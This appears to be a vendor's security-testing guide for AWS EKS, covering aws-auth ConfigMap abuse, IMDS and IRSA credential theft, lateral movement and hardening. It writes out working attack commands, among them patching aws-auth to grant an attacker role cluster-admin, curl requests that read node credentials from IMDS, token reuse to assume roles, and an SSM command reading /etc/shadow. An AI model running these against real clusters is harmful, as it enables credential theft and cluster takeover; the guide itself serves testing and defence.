AWS EKS Security Testing: Cluster Access, Node IAM Role Exploitation, and aws-auth ConfigMap Abuse

Amazon EKS layers AWS IAM authentication on top of Kubernetes RBAC, creating a complex access control surface with EKS-specific attack paths. The aws-auth ConfigMap maps IAM principals to Kubernetes roles — and a single misconfigured entry can grant cluster-admin to any AWS account. This guide covers EKS-specific security testing: aws-auth ConfigMap abuse, node IAM role credential theft via IMDS, OIDC identity provider exploitation, EKS Pod Identity attacks, public endpoint exposure, and cross-account cluster access.

Table of Contents

  1. EKS Authentication Architecture
  2. aws-auth ConfigMap Exploitation
  3. Node IAM Role IMDS Credential Theft
  4. OIDC Identity Provider Exploitation
  5. EKS Pod Identity Attacks
  6. Public Cluster Endpoint Testing
  7. Lateral Movement from EKS to AWS
  8. EKS Security Hardening

EKS Authentication Architecture

EKS uses AWS IAM as its authentication provider via the aws-iam-authenticator webhook. The authorization flow is:

  1. User/service obtains an AWS STS token
  2. kubectl sends the token to the Kubernetes API server
  3. EKS validates the token against AWS IAM
  4. The aws-auth ConfigMap maps the IAM principal to a Kubernetes username/group
  5. Kubernetes RBAC grants permissions based on that username/group

Critical EKS-specific attack surfaces that don't exist in vanilla Kubernetes:

Attack SurfaceEKS-Specific Risk
aws-auth ConfigMapMisconfigured IAM mappings grant unintended cluster access
Node instance profileEC2 nodes have IAM roles — pods can steal these via IMDS
OIDC providerMisconfigured trust conditions allow any pod to assume roles
EKS cluster endpointPublic endpoint + no IP restrictions allows enumeration
Managed node group IAMAmazonEKSWorkerNodePolicy grants broad AWS permissions

aws-auth ConfigMap Exploitation

The aws-auth ConfigMap in the kube-system namespace maps AWS IAM ARNs to Kubernetes users and groups. Misconfiguration can grant cluster-admin to unintended IAM principals.

Reading and Analyzing aws-auth

# Read the aws-auth ConfigMap (requires kube-system read access)
kubectl get configmap aws-auth -n kube-system -o yaml

# Typical structure:
# mapRoles:
# - rolearn: arn:aws:iam::ACCOUNT:role/EKSNodeRole
#   username: system:node:{{EC2PrivateDNSName}}
#   groups:
#   - system:bootstrappers
#   - system:nodes
# - rolearn: arn:aws:iam::ACCOUNT:role/AdminRole
#   username: admin
#   groups:
#   - system:masters  ← cluster-admin!
#
# mapUsers:
# - userarn: arn:aws:iam::ACCOUNT:user/developer
#   username: developer
#   groups:
#   - developers

# Check for overprivileged mappings
kubectl get configmap aws-auth -n kube-system -o json | python3 -c "
import json,sys,yaml
data = json.load(sys.stdin)
map_roles = yaml.safe_load(data['data'].get('mapRoles','[]') or '[]')
for role in map_roles:
    groups = role.get('groups', [])
    if 'system:masters' in groups:
        print(f'CRITICAL: {role[\"rolearn\"]} has system:masters (cluster-admin)')
    if '*' in str(groups):
        print(f'WARNING: Wildcard group in {role[\"rolearn\"]}')
"

aws-auth Privilege Escalation

# If you can write to kube-system ConfigMaps (requires cluster-admin or specific RBAC),
# you can add your IAM principal to aws-auth

# Check if current service account can update aws-auth
kubectl auth can-i update configmap/aws-auth -n kube-system

# Add IAM role to system:masters group
kubectl patch configmap aws-auth -n kube-system --patch '{
  "data": {
    "mapRoles": "- rolearn: arn:aws:iam::ACCOUNT:role/ATTACKER_ROLE\n  username: attacker\n  groups:\n  - system:masters\n"
  }
}'

# This grants full cluster-admin to whoever can assume ATTACKER_ROLE in AWS

# Enumerate all IAM roles that might have EKS assume-role permissions
aws iam list-roles --query 'Roles[].{Name:RoleName,ARN:Arn}' --output table
aws iam get-role --role-name target-role --query 'Role.AssumeRolePolicyDocument'
Critical: Any IAM principal with iam:PassRole + eks:CreateCluster or write access to the aws-auth ConfigMap effectively has a path to cluster-admin. Map these permissions carefully in your IAM audit.

Node IAM Role IMDS Credential Theft

EKS worker nodes run with EC2 instance profiles. Without IMDSv2 enforcement, any pod on the node can steal the node's AWS credentials via IMDS.

IMDS Credential Theft from Pod

# From inside a pod — check if IMDSv2 is enforced
curl -s -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/
# 200 = IMDSv1 accessible (vulnerable)
# 401 = IMDSv2 required (safer, but token can still be obtained)

# IMDSv1 credential theft (one step)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns the role name
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME"
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 credential theft (two steps — still exploitable from a pod)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"

Node IAM Role Permission Audit

# What permissions does the node IAM role have?
# Get the node group instance profile
aws eks describe-nodegroup \
  --cluster-name my-cluster \
  --nodegroup-name my-nodegroup \
  --query 'nodegroup.nodeRole'

# Check managed policies on the node role
NODE_ROLE="arn:aws:iam::ACCOUNT:role/EKSNodeGroupRole"
ROLE_NAME=$(echo $NODE_ROLE | cut -d'/' -f2)
aws iam list-attached-role-policies --role-name $ROLE_NAME

# AmazonEKSWorkerNodePolicy grants:
# - ec2:Describe* (all EC2 resources — infrastructure mapping)
# - ecr:GetDownloadUrlForLayer (pull any ECR image in the account)
# AmazonEC2ContainerRegistryReadOnly grants:
# - ecr:GetAuthorizationToken (valid for all registries in account)
# - ecr:BatchGetImage (any image in any ECR repo in account)

# Use stolen node credentials to pivot
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts get-caller-identity  # Confirm identity
aws ec2 describe-instances --region eu-west-1 | jq '.Reservations[].Instances[].PrivateIpAddress'
aws ecr get-login-password | docker login --username AWS --password-stdin ACCOUNT.dkr.ecr.eu-west-1.amazonaws.com
aws ecr list-images --repository-name production-app

OIDC Identity Provider Exploitation

EKS OIDC allows pods to assume IAM roles via service account annotations (IRSA). IAM trust policies for these roles must specify the service account and namespace — wildcard trust conditions allow any pod to assume the role.

Finding Misconfigured OIDC Trust Policies

# Get the OIDC issuer URL for the cluster
aws eks describe-cluster --name my-cluster \
  --query 'cluster.identity.oidc.issuer' --output text

# Find all IAM roles with OIDC trust policies
OIDC_URL=$(aws eks describe-cluster --name my-cluster \
  --query 'cluster.identity.oidc.issuer' --output text | sed 's|https://||')

aws iam list-roles | jq -r '.Roles[].RoleName' | while read role; do
  trust=$(aws iam get-role --role-name "$role" \
    --query 'Role.AssumeRolePolicyDocument' 2>/dev/null | \
    python3 -m json.tool 2>/dev/null)
  if echo "$trust" | grep -q "$OIDC_URL"; then
    echo "Role: $role"
    echo "$trust" | grep -A2 "Condition\|StringEquals\|StringLike"
    echo "---"
  fi
done

# Dangerous trust condition: no namespace/serviceaccount restriction
# "Condition": {
#   "StringEquals": {
#     "oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:sub":
#       "system:serviceaccount:*:*"  ← ANY pod in ANY namespace!
#   }
# }

IRSA Token Theft

# Service account tokens for IRSA are mounted at a known path
# From inside a pod with IRSA:
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token

# The token is a JWT containing the OIDC claims
# Decode to see which role it can assume
TOKEN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Use the token to assume the associated IAM role
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::ACCOUNT:role/S3AccessRole \
  --role-session-name eks-pod \
  --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

# If the role has overpermissive trust (matches wildcard), any pod can use it:
kubectl run --rm -it attacker --image=amazon/aws-cli \
  --serviceaccount=default -- \
  aws sts assume-role-with-web-identity \
    --role-arn arn:aws:iam::ACCOUNT:role/S3AccessRole \
    --role-session-name attack \
    --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

EKS Pod Identity Attacks

EKS Pod Identity (newer alternative to IRSA) uses the EKS Pod Identity Agent to inject credentials. It has different attack characteristics.

# EKS Pod Identity uses a local agent on each node (port 80 on 169.254.170.23)
# From inside a pod with Pod Identity association:
curl -H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN" \
  "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

# Or via environment variables (set automatically):
echo "Role ARN via Pod Identity: $AWS_ROLE_ARN"

# Check Pod Identity associations
aws eks list-pod-identity-associations \
  --cluster-name my-cluster \
  --query 'associations[].{Namespace:namespace,ServiceAccount:serviceAccount,RoleARN:roleArn}'

# Find overpermissive associations (same issues as IRSA)
aws eks list-pod-identity-associations --cluster-name my-cluster | \
  python3 -c "
import json,sys
for assoc in json.load(sys.stdin)['associations']:
    print(f\"Namespace: {assoc['namespace']} SA: {assoc['serviceAccount']} Role: {assoc.get('roleArn','unknown')}\")
"

Public Cluster Endpoint Testing

# Check EKS cluster endpoint access configuration
aws eks describe-cluster --name my-cluster \
  --query 'cluster.resourcesVpcConfig.{endpointPublicAccess:endpointPublicAccess,endpointPrivateAccess:endpointPrivateAccess,publicAccessCidrs:publicAccessCidrs}'

# Critical findings:
# endpointPublicAccess: true (accessible from internet)
# publicAccessCidrs: ["0.0.0.0/0"] (no IP restriction — any IP can attempt auth)

# Test if cluster endpoint is publicly accessible
CLUSTER_ENDPOINT=$(aws eks describe-cluster --name my-cluster \
  --query 'cluster.endpoint' --output text)
curl -k -s "$CLUSTER_ENDPOINT/version" | python3 -m json.tool
# If it returns K8s version info unauthenticated — anonymous auth is enabled (very rare but critical)

# Even with auth required, a public endpoint leaks the server certificate (cluster name, region)
openssl s_client -connect $(echo $CLUSTER_ENDPOINT | sed 's|https://||'):443 /dev/null | \
  openssl x509 -noout -text | grep -E "Subject:|DNS:"

# Test anonymous authentication (should be disabled)
curl -k "$CLUSTER_ENDPOINT/api/v1/namespaces" \
  -H "Authorization: Bearer invalidtoken" 2>/dev/null | head -5
# system:anonymous should not have any permissions

Lateral Movement from EKS to AWS

# After stealing credentials (node role or IRSA), enumerate AWS permissions

# Check what you can do with stolen credentials
aws sts get-caller-identity
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::ACCOUNT:role/EKSNodeRole \
  --action-names "s3:ListBuckets" "ec2:DescribeInstances" "iam:ListRoles"

# Common escalation paths from node role:
# 1. ECR access → pull internal Docker images → extract embedded secrets
aws ecr describe-repositories
aws ecr batch-get-image --repository-name internal-app \
  --image-ids imageTag=latest | jq '.images[].imageManifest' | \
  python3 -c "import json,sys; m=json.load(sys.stdin); print([l['digest'] for l in json.loads(m)['layers']])"

# 2. SSM access (if AmazonSSMManagedInstanceCore policy attached)
aws ssm describe-instance-information
aws ssm send-command \
  --targets Key=instanceIds,Values=i-INSTANCEID \
  --document-name AWS-RunShellScript \
  --parameters 'commands=["cat /etc/shadow"]'

# 3. Secrets Manager read (if included in policy)
aws secretsmanager list-secrets | jq '.SecretList[].Name'
aws secretsmanager get-secret-value --secret-id production/db/password

# 4. S3 access (via AmazonS3ReadOnlyAccess or broader)
aws s3 ls  # List all buckets
aws s3 ls s3://company-terraform-state/  # Check terraform state for more secrets

EKS Security Hardening

# 1. Migrate from aws-auth ConfigMap to EKS Access Entries API
aws eks create-access-entry \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::ACCOUNT:role/AdminRole \
  --type STANDARD

aws eks associate-access-policy \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::ACCOUNT:role/AdminRole \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy \
  --access-scope type=cluster

# 2. Enforce IMDSv2 and hop limit = 1 (prevents pod IMDS access)
aws ec2 modify-instance-metadata-options \
  --instance-id i-XXXXX \
  --http-tokens required \
  --http-put-response-hop-limit 1  # Hop limit 1 blocks containers (they need hop 2)

# Or in launch template:
# MetadataOptions:
#   HttpTokens: required
#   HttpPutResponseHopLimit: 1  ← containers can't reach IMDS

# 3. Use IRSA with specific namespace/service-account conditions (not wildcards)
# Trust policy condition:
{
  "Condition": {
    "StringEquals": {
      "oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:sub":
        "system:serviceaccount:production:app-service",  # Specific, not wildcard
      "oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:aud":
        "sts.amazonaws.com"
    }
  }
}

# 4. Restrict cluster endpoint access
aws eks update-cluster-config \
  --name my-cluster \
  --resources-vpc-config \
    endpointPublicAccess=true,publicAccessCidrs=["203.0.113.0/24"],endpointPrivateAccess=true

# 5. Enable EKS control plane logging
aws eks update-cluster-config \
  --name my-cluster \
  --logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'
EKS Security Checklist: Use EKS Access Entries instead of aws-auth ConfigMap; enforce IMDSv2 with hop limit 1 to block pod IMDS access; scope IRSA/Pod Identity trust policies to specific namespace+service account; restrict cluster endpoint to known CIDR ranges; enable all control plane logging; audit ECR and Secrets Manager access from node IAM roles; verify no IAM principal maps to system:masters unintentionally.
Security TestMethodPriority
aws-auth system:masters mappingskubectl get cm aws-auth -n kube-systemCritical
Node IMDS v1 access from podscurl 169.254.169.254 from podCritical
OIDC trust condition wildcardsaws iam list-roles + trust policy reviewCritical
Public endpoint IP restrictionaws eks describe-clusterHigh
Node IAM role permissions auditaws iam list-attached-role-policiesHigh
IRSA token reuse from other podsManual token extraction testHigh
Control plane logging enabledaws eks describe-cluster logging configMedium
Anonymous API server authcurl cluster endpoint without authHigh

Automate EKS Security Testing

Ironimo scans EKS clusters for aws-auth misconfigurations, OIDC trust policy wildcards, public endpoint exposure, and node IAM role over-permission as part of continuous cloud security testing.

Start free scan